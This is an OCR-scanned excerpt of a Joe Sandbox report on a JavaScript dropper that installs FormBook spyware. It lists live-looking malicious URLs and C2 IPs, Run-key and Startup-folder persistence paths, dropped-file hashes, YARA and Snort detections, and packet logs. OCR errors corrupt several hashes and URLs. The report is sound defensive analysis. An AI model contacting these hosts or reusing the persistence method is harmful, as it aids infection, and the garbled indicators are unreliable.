http://dilshadkhan.duia.ro:6670/VreR wscript.exe, 00000001.00000003.500806397 true e Avira URL Cloud: malware unknown
.00000221822B0000.00000004.00000020.0002
0000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/VreM% wscript.exe, 00000007.00000003.882772134 true e Avira URL Cloud: malware unknown
.0000026A519DA000.00000004.00000020.0002
0000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/VreT wscript.exe, 00000008.00000002.931688927 true unknown
.0000020FBE9A5000.00000004.00000020.0002
0000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/VreU wscript.exe, 00000007.00000002.926213528 true e Avira URL Cloud: malware unknown
.0000026A519F1000.00000004.00000020.0002
0000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/VreP wscript.exe, 00000004.00000002.927952300 true e Avira URL Cloud: malware unknown

.0000014D0B430000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000002.922532609.0000026A517B0000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000003.883116107
.0000026A519F1000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.882795550.0000026A519F1000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000002.926213528
.0000026A519F1000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
8.00000002.931463761.0000020FBE1F0000.00
000004.00000020.00020000.00000000.sdmp

http:/fhttps://www.google.com/chrome/thank-you.html?  explorer.exe, 00000003.00000000.45095834 false high
statcb=0&installdataindex=empty&defaultbrowser=0 9.0000000008183000.00000004.00000001.000

20000.00000000.sdmp, explorer.exe, 00000

003.00000000.428253369.0000000008183000.

00000004.00000001.00020000.00000000.sdmp

hitp://dilshadkhan.duia.ro:6670/VreL wscript.exe, 00000007.00000002.926213528 true
.0000026A519F1000.00000004.00000020.0002
0000.00000000.sdmp

Avira URL Cloud: malware unknown

3

3

hitp://dilshadkhan.duia.ro:6670/VreM wscript.exe, 00000008.00000003.900095109 true
.0000020FBC1FE000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
8.00000002.931463761.0000020FBE1F0000.00
000004.00000020.00020000.00000000.sdmp

Avira URL Cloud: malware unknown

http:// explorer.exe, 00000003.00000000.45138145 false e URL Reputation: safe unknown
https://adservice.google.co.uk/ddm/fls/i/src=2542116;ty 2.0000000008246000.00000004.00000001.000
pe=chrom322;cat=chrom01g;0rd=3005540662929;gt 20000.00000000.sdmp

3

http://dilshadkhan.duia.ro:6670/VreH wscript.exe, 00000004.00000003.694438767 true Avira URL Cloud: malware unknown
.0000014D0OBC10000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

7.00000003.716472750.0000026A519DA000.00

000004.00000020.00020000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/VrePSAIQ2wi wscript.exe, 00000001.00000002.907949646 true Avira URL Cloud: malware unknown
.0000022181F70000.00000004.00000020.0002

0000.00000000.sdmp

3

http:// help.exe, 00000009.00000002.930456498.00 false
https://www.namebrightstatic.com/images/error_board. 00000003752000.00000004.10000000.0004000
png) 0.00000000.sdmp

Avira URL Cloud: safe unknown

hitp://dilshadkhan.duia.ro:6670/VreZ3 wscript.exe, 00000004.00000002.923787188 true Avira URL Cloud: malware unknown
.0000014D095D8000.00000004.00000020.0002

0000.00000000.sdmp

3

hitp://dilshadkhan.duia.ro:6670/VreA% wscript.exe, 00000008.00000002.931546751 true Avira URL Cloud: malware unknown
.0000020FBE910000.00000004.00000020.0002

0000.00000000.sdmp

.
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Name Source Malicious Antivirus Detection Reputation

hitp://dilshadkhan.duia.ro:6670/VreN_5 wscript.exe, 00000001.00000002.907994191 true e Avira URL Cloud: malware unknown
.0000022182230000.00000004.00000020.0002
0000.00000000.sdmp

hitp:/fwww.msn.com/de-ch/?ocid=iehp explorer.exe, 00000003.00000000.48232647 false high
3.0000000008277000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
003.00000000.428747100.0000000008277000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000003.00000000.451429720.000000
0008277000.00000004.00000001.00020000.00

000000.sdmp
hitp:// help.exe, 00000009.00000002.930456498.00 false e Avira URL Cloud: safe unknown
https://www.namebrightstatic.com/images/bg.png) 00000003752000.00000004.10000000.0004000

0.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vreadkhan.duu wscript.exe, 00000001.00000002.907949646 true e Avira URL Cloud: malware unknown

.0000022181F70000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

4.00000002.927952300.0000014D0B430000.00

000004.00000020.00020000.00000000.sdmp,

wscript.exe, 00000007.00000002.922532609

.0000026A517B0000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

8.00000002.931463761.0000020FBE1F0000.00

000004.00000020.00020000.00000000.sdmp

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%

50% < No. of IPs < 75%

EENC

75% < No. of IPs

Public IPs

P Domain Country Flag ASN ASN Name Malicious

198.54.117.217 parkingpage.namecheap. United States = 22612 NAMECHEAP-NETUS false
com

81.169.145.161 xn--wsthof-camping- Germany = 6724 STRATOSTRATOAGDE true
gsb.com

3.64.163.50 www.brandpay.xyz United States S 16509 AMAZON-02US true

185.53.179.172 www.waermark.com Germany = 61969 TEAMINTERNET-ASDE true

85.159.66.93 natroredirect.natrocdn.co  Turkey 34619 CIZGITR true
m

162.0.230.89 www.topings33.com Canada I+ 22612 NAMECHEAP-NETUS true

23.19.171.24 www.harmlett.com United States = 396190 LEASEWEB-USA-SEA- true

10US
68.66.224.33 www.getbusinesscreditan  United States £S5 55293 A2HOSTINGUS true

dfunding.com
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P Domain Country Flag ASN ASN Name Malicious

185.27.134.149 www.tentanguang.online  United Kingdom =] 34119 WILDCARD- true
ASWildcardUKLimitedGB
185.134.245.113 www.localbloom.online Norway i= 12996 DOMENESHOPOsloNorwa  true
yNO
23.82.37.10 www.shcylzc.com United States = 396190 LEASEWEB-USA-SEA- true
10Us
91.193.75.133 dilshadkhan.duia.ro Serbia = 209623 DAVID_CRAIGGG true
Private
P
192.168.2.1
General Information
Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 635313
Start date and time: 27/05/202219:01:26 2022-05-27 19:01:26 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 16m 6s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: ClQ-P0162688.js
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 18
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 1
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (Javascript)
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.spyw.expl.evad.winJS@19/7@54/13
EGA Information: e Successful, ratio: 100%

HDC Information:

.

Successful, ratio: 29.1% (good quality ratio 25.8%)
Quality average: 72.6%
Quality standard deviation: 32.6%

.

.

.

HCA Information: Successful, ratio: 100%
e Number of executed functions: 0

Number of non-executed functions: 0

.

Cookbook Comments: Found application associated with file extension: .js
Adjust boot time
Enable AMSI

Override analysis time to 240s for JS/VBS files not yet terminated

e o o o

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost. exe

HTTP Packets have been reduced

TCP Packets have been reduced to 100

Excluded IPs from analysis (whitelisted): 23.213.168.66, 20.72.205.209, 52.191.219.104, 40.74.108.123, 52.167.17.97

Excluded domains from analysis (whitelisted): fs.microsoft.com, settings-prod-wus2-2.westus2.cloudapp.azure.com, settings-prod-eus-1.eastus.cloudapp.azure.com, ctldl.windowsupdate.
com, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, settings-prod-wjp-1.japanwest.cloudapp.azure.com, prod.fs.microsoft.com.akadns.net, fs-w
ildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, atm-settingsfe-prod-weighted.trafficmanager.net, settings-prod-eus2-2.eastus2.cloud
app.azure.com

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

e o o o o

e o o o o
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Simulations

Behavior and APIs
Time

19:02:52
19:03:01

19:03:10

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Type

Autostart

Autostart

Autostart

Created / dropped Files

Description

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK "C:\Users\user\AppData\
Roaming\RmiljXZkdd.js"

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK "C:\Users\user\AppDat
a\Roaming\RmiljXZkdd.js"

Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RmiljXZkdd.js

C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe v @

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped

Size (bytes): 175616

Entropy (8bit):  7.183748058190585

Encrypted: false

SSDEEP: 3072:SLoTtolDRDhriOOb3BMWWS10HUIbtuyCO5CWMFgN5yrPwifeMYnA16R:SLTIDR1Qb3B510th1CO5CWMaYPwizZo

MD5: FF568D4337CE1566C4140FA2FEDF8DB8

SHAL: 4ADF5F14F47D7855ABB55E9C371D5B39170651AE8

SHA-256: AD408337CE7D70D527D6A9044B1095B7F8149BB63139BOC5F2003E6D55305341

SHA-512: 3062FD8890DE3CE40FEE381514621BA9DBES3CCCAASC3A5EDAEDDSB9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A¢
3F

Malicious: true
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Yara Hits:

Antivirus:

Preview:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author: Felix
Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author: JPCERT/CC Incident Response
Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author: Felix
Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author: JPCERT/CC Incident Response
Group

Antivirus: Avira, Detection: 100%

Antivirus: Avira, Detection: 100%

Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 49%, Browse
Antivirus: ReversingLabs, Detection: 100%

.@..

C:\Users\user\AppData\Local\Temp\DB1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\cmd.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

40960

0.792852251086831

false
48:2i3nBA+I1Y1PJzrQURCVE9V8MXODOHSFINUfAIGUG Y FONSs8LKVUfIKVYJ7hU:pBCJIyC2V8MZyFI8AIG40NFeymw
81DB1710BB13DA3343FCODFIF00BE49F

9B1F17E936D28684FFDFA962340C8872512270BB
9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38DOFACABB
CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

false

SQLite format 3...... @ e s LT TSP TR PSP PP UUPPRUPPOPRPON

C:\Users\user\AppData\Local\Temp\Irlr8ftbp\u8g48fgOphzxan.exe v@

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

175616

7.183748058190585

false
3072:SLoTtolDRDhriOOb3BMWWS10HUIbtuyCO5CWMFgN5yrPwifeMYnA16R:SLTIDR1Qb3B510th1CO5CWMaYPwiZo
FF568D4337CE1566C4140FA2FEDF8DB8

4DF5F14F47D7855ABB55E9C371D5B39170651AE8
AD408337CE7D70D527D6A9044B1095B7F8149BB63139B0OC5F2003E6D55305341

3062FD8890DE3CE40FEE381514621BA9DBES3CCCAASC3A5SEDAEDDSB9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A¢
3F

true

e Antivirus: Metadefender, Detection: 49%, Browse
e Antivirus: ReversingLabs, Detection: 100%

MZE RS ..L.IThis program cannot be run in DOS mode....$. V.&Y..uY.uY..uB.mu...uB.XuZ..uB.[uX..uRichY..u........ REN-

C:\Users\user\AppData\Local\Temp\bin.exe v@

Process:
File Type:
Category:
Size (bytes):

C:\Windows\System32\wscript.exe
PE32 executable (GUI) Intel 80386, for MS Windows
modified

175616
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https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Yara Hits:

Antivirus:

Preview:

7.183748058190585

false
3072:SLoTtolDRDhriOOb3BmWWS10HUIbtuyCO5CWMFgN5yrPwifeMYnA16R:SLTIDR1Qb3B510th1CO5CWMaYPwiZo
FF568D4337CE1566C4140FA2FEDF8DB8

4DF5F14F47D7855ABB55E9C371D5B39170651AE8
AD408337CE7D70D527D6A9044B1095B7F8149BB63139B0C5F2003E6D55305341

3062FD8890DE3CE40FEE381514621BA9DBES3CCCAASC3A5EDAEDDSB9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A¢
3F

true

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Felix Bilstein - yara-
signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: JPCERT/CC Incident Response Group

Antivirus: Avira, Detection: 100%

Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 49%, Browse
Antivirus: ReversingLabs, Detection: 100%

.@..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\explorer.exe

Composite Document File V2 Document, Cannot read section info

modified

7168

4.37413729781737

false
48:rUlj6P8eAS8h1400uKLC4XVIu5L/n9d5up5ztdf++dOvalVBadROF4uFxdOvaugj:4lreghLxL/Lg5zqjdRUB/Ar++e
2ECB978F6EE7C6E474008EEFA93F6E74

B9D5D931516D116F2D3BA1B6A2642DB428663EB2
6F7F96805344415A3C06D09DB44E209922EBFOA3EAOF411E63DB5CF64CDBF1BB

DD1345E286C54303B1595439EF1B9D2326ABA996C3B9D0250D3EA7FOC3C1A09772595C9CB94B6105008B1A36EBF34B623EFFAEBBBOFD571D297AFEG371F7A8]
C

false

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RmiljXZkdd.js @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\wscript.exe

ASCII text, with very long lines

dropped

11475

5.798688551057279

false
192:3gQyfgmnALD/GbULXleEbgBq71QSaydtZw9VLcgZ1kriE5jRcoatCqjZzmdEPf6ZE:3UnALDpL1vbgBgaDjmscImdkSts
A91A2FB909CF3F7ACC3579A7AA7B9015

300433063409B18A26A2D42622599C1DB6845F9C
E3816DD6C43C2AA0481BA155E39F9694D1BBD75FA26D2545F26D6D89F7D54063

EO5E1BA504CCC3123ADA662CC5E5507A2C622EDD85688281E6B91BAB5101B3750F2E84186FDC76A446D20D7E82D1B98236B69691FA0154E46CAC700EB15F05:
3

true

~(!Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (vari=0; i < this.length; i++) {. callback.call(thisArg,
this[i], i, this);.  }.} : O, lArray.prototype.map ? Array.prototype.map = function (callback, thisArg) {. thisArg = thisArg;. var array = [];. for (vari = 0; i < this.length; i++)
{. array.push(callback.call(thisArg, this[i], i, this));. }. return array;.} : 0, lArray.prototype.reduce ? Array.prototype.reduce = function (fn, initial) {. var values =
this;. if (typeof initial === "\x75\x6e\x64\x65\x66\x69\x6e\x65\x64") {. initial = 0;.  }. values.forEach(function (item, index) {. initial = fn(initial, item, index, this);

};.  returninitial;.} : 0);.function __p_9252404421(__p_5894166209, _ p_1467147056) {. switch (__p_6916114155){. case 466:. return __p_5894166209 +
__p_1467147056;. case 186:. return __p_5894166209/_ p_146

C:\Users\user\AppData\Roaming\RmiljXZkdd.js @

Process:

C:\Windows\System32\wscript.exe
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https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

File Type:
Category:

Size (bytes):

ASCII text, with very long lines
dropped
11475

Entropy (8bit):  5.798688551057279

Encrypted: false

SSDEEP: 192:3gQyfgmnALD/GbULXIeEbgBq71QSaydtZw9VLcgZ1kriE5jRcoatCqjZmdEPf6ZE:3UnALDpL1vbgBgaDjmscImdkSts

MD5: A91A2FBO09CF3F7ACC3579A7AA7B9015

SHAL: 300433063409B18A26A2D42622599C1DB6845F9C

SHA-256: E3816DD6C43C2AA0481BA155E39F9694D1BBD75FA26D2545F26D6D89F7D54063

SHA-512: EO5E1BA504CCC3123ADA662CC5E5507A2C622EDD85688281E6B91BAB5101B3750F2E84186FDC76A446D20D7E82D1B98236B69691FA0154E46CAC700EB15F05¢
3

Malicious: true

Preview: ~(Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (vari=0;i < this.length; i++) {. callback.call(thisArg,
this[i], i, this);.  }.}: O, !Array.prototype.map ? Array.prototype.map = function (callback, thisArg) {. thisArg = thisArg;. vararray =[];. for (vari=0;i < this.length; i++)
{ array.push(callback.call(thisArg, this[i], i, this));. }. return array;.} : 0, !Array.prototype.reduce ? Array.prototype.reduce = function (fn, initial) {. var values =
this;. if (typeof initial === "\x75\x6e\x64\x65\x66\x69\x6e\x65\x64") {. initial = 0;.  }. values.forEach(function (item, index) {. initial = fn(initial, item, index, this);

};.  returninitial;.} : 0);.function __p_9252404421(__p_5894166209, _ p_1467147056) {. switch (__p_6916114155){. case 466:. return __p_5894166209 +

__p_1467147056;. case 186:. return __p_5894166209/_ p_146

Static File Info

General

File type: ASCII text, with very long lines

Entropy (8bit):  5.640592018338976

TriD:

File name: ClQ-P0162688.js

File size: 346670

MD5: ebcb99f17238ddelcadc12316ebceda?

SHA1L: 1662814aa8638312144d7be033875b2365€89696

SHA256: e873129006fb7f83c9bec9516fd3ce2e3737f79df1458606445e61926a844f4a

SHA512: 1047b64823e5f48affde501778e629b817415b58ec3ce5b539afe8e66b284678cd5b9168badd90378610e93397ae0e6703268d2dec2f20301f9fbf886e5a5821

SSDEEP: 6144:AyPlIoEOSE6N8VpFCLIBDA70qVdX+KK980AaDtulG8Fgf521asfp+roYi72yrHKk:AyPloEtpxDAkeX+KC803DOG0OgRzrfov

TLSH: 5474AF308F805B9A9AA44D07D0O7ELASF56F3172AD122B2CCB7D6390B3B7EEODS5A13C59

File Content ~('Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0;i < this.length; i++) {. callback.call(thisArg,

Preview: this[i], i, this);.  }.}: O, !Array.prototype.map ? Array.prototype.

File Icon

Icon Hash: e8d69ece968a9ecs

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID Message S | (el Source IP Dest IP

Port Port

192.168.2.681.169.145.16 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49886 80 192.168.2.6  81.169.145.1

149886802031453 3 61

05/27/22-

19:07:42.223045

192.168.2.63.64.163.5049 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49790 80 192.168.2.6  3.64.163.50

790802031412 05/27/22- 2

19:05:24.029909

192.168.2.63.64.163.5049 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49790 80 192.168.2.6  3.64.163.50

790802031453 05/27/22- 3

19:05:24.029909

192.168.2.681.169.145.16 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49886 80 192.168.2.6  81.169.145.1

149886802031412 2 61

05/27/22-
19:07:42.223045
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Source Dest

Timestamp Protocol SID Message Source IP Dest IP
Port Port

192.168.2.6198.54.117.21 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49843 80 192.168.2.6  198.54.117.2
749843802031453 3 17
05/27/22-
19:06:33.809384
192.168.2.6198.54.117.21 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49843 80 192.168.2.6  198.54.117.2
749843802031412 2 17
05/27/22-
19:06:33.809384
192.168.2.681.169.145.16 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49886 80 192.168.2.6  81.169.145.1
149886802031449 9 61
05/27/22-
19:07:42.223045
192.168.2.681.169.145.16 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49818 80 192.168.2.6 81.169.145.1
149818802031412 2 61
05/27/22-
19:05:51.490773
192.168.2.681.169.145.16 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49818 80 192.168.2.6  81.169.145.1
149818802031453 3 61
05/27/22-
19:05:51.490773
192.168.2.6198.54.117.21 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49843 80 192.168.2.6  198.54.117.2
749843802031449 9 17
05/27/22-
19:06:33.809384
192.168.2.681.169.145.16 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49818 80 192.168.2.6  81.169.145.1
149818802031449 9 61
05/27/22-
19:05:51.490773
192.168.2.63.64.163.5049 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49790 80 192.168.2.6  3.64.163.50
790802031449 05/27/22- 9
19:05:24.029909
Network Port Distribution

Total Packets: 104

® 53 (DNS)

@ 6670 undefined
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
May 27, 2022 19:02:52.361675978 CEST 49722 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:02:52.401793957 CEST 6670 49722 91.193.75.133 192.168.2.6
May 27, 2022 19:02:52.908824921 CEST 49722 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:02:52.948888063 CEST 6670 49722 91.193.75.133 192.168.2.6
May 27, 2022 19:02:53.612886906 CEST 49722 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:02:53.652861118 CEST 6670 49722 91.193.75.133 192.168.2.6
May 27, 2022 19:03:01.576416969 CEST 49723 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:01.616333961 CEST 6670 49723 91.193.75.133 192.168.2.6
May 27, 2022 19:03:02.206480026 CEST 49723 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:02.246608973 CEST 6670 49723 91.193.75.133 192.168.2.6
May 27, 2022 19:03:02.815927982 CEST 49723 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:02.855910063 CEST 6670 49723 91.193.75.133 192.168.2.6
May 27, 2022 19:03:06.471435070 CEST 49724 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:06.511487007 CEST 6670 49724 91.193.75.133 192.168.2.6
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May 27, 2022 19:03:07.019408941 CEST 49724 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:07.059432030 CEST 6670 49724 91.193.75.133 192.168.2.6
May 27, 2022 19:03:07.706947088 CEST 49724 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:07.747047901 CEST 6670 49724 91.193.75.133 192.168.2.6
May 27, 2022 19:03:10.256297112 CEST 49725 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:10.296495914 CEST 6670 49725 91.193.75.133 192.168.2.6
May 27, 2022 19:03:10.926003933 CEST 49725 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:10.966223001 CEST 6670 49725 91.193.75.133 192.168.2.6
May 27, 2022 19:03:11.614239931 CEST 49725 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:11.654181957 CEST 6670 49725 91.193.75.133 192.168.2.6
May 27, 2022 19:03:14.759224892 CEST 49726 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:14.799443007 CEST 6670 49726 91.193.75.133 192.168.2.6
May 27, 2022 19:03:14.866173983 CEST 49727 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:14.906172991 CEST 6670 49727 91.193.75.133 192.168.2.6
May 27, 2022 19:03:15.426409960 CEST 49726 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:15.467374086 CEST 6670 49726 91.193.75.133 192.168.2.6
May 27, 2022 19:03:15.519716978 CEST 49727 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:15.559765100 CEST 6670 49727 91.193.75.133 192.168.2.6
May 27, 2022 19:03:16.113904953 CEST 49727 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:16.113907099 CEST 49726 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:16.153891087 CEST 6670 49726 91.193.75.133 192.168.2.6
May 27, 2022 19:03:16.153919935 CEST 6670 49727 91.193.75.133 192.168.2.6
May 27, 2022 19:03:22.034508944 CEST 49728 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:22.074700117 CEST 6670 49728 91.193.75.133 192.168.2.6
May 27, 2022 19:03:22.708182096 CEST 49728 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:22.748366117 CEST 6670 49728 91.193.75.133 192.168.2.6
May 27, 2022 19:03:23.317764997 CEST 49728 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:23.357965946 CEST 6670 49728 91.193.75.133 192.168.2.6
May 27, 2022 19:03:23.382077932 CEST 49729 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:23.422188997 CEST 6670 49729 91.193.75.133 192.168.2.6
May 27, 2022 19:03:23.428096056 CEST 49730 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:23.468234062 CEST 6670 49730 91.193.75.133 192.168.2.6
May 27, 2022 19:03:24.020812035 CEST 49730 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:24.020833969 CEST 49729 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:24.060726881 CEST 6670 49730 91.193.75.133 192.168.2.6
May 27, 2022 19:03:24.060754061 CEST 6670 49729 91.193.75.133 192.168.2.6
May 27, 2022 19:03:24.614676952 CEST 49730 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:24.614764929 CEST 49729 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:24.654751062 CEST 6670 49729 91.193.75.133 192.168.2.6
May 27, 2022 19:03:24.654783964 CEST 6670 49730 91.193.75.133 192.168.2.6
May 27, 2022 19:03:25.342607021 CEST 49731 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:25.382694960 CEST 6670 49731 91.193.75.133 192.168.2.6
May 27, 2022 19:03:26.009264946 CEST 49731 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:26.049550056 CEST 6670 49731 91.193.75.133 192.168.2.6
May 27, 2022 19:03:26.614808083 CEST 49731 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:26.654845953 CEST 6670 49731 91.193.75.133 192.168.2.6
May 27, 2022 19:03:30.484443903 CEST 49733 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:30.524521112 CEST 6670 49733 91.193.75.133 192.168.2.6
May 27, 2022 19:03:31.037070990 CEST 49733 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:31.077166080 CEST 6670 49733 91.193.75.133 192.168.2.6
May 27, 2022 19:03:31.583954096 CEST 49733 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:31.624213934 CEST 6670 49733 91.193.75.133 192.168.2.6
May 27, 2022 19:03:31.844331980 CEST 49734 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:31.844602108 CEST 49735 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:31.884310007 CEST 6670 49734 91.193.75.133 192.168.2.6
May 27, 2022 19:03:31.884411097 CEST 6670 49735 91.193.75.133 192.168.2.6
May 27, 2022 19:03:32.396555901 CEST 49734 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:32.436759949 CEST 6670 49734 91.193.75.133 192.168.2.6

Copyright Joe Security LLC 2022 Page 29 of 85



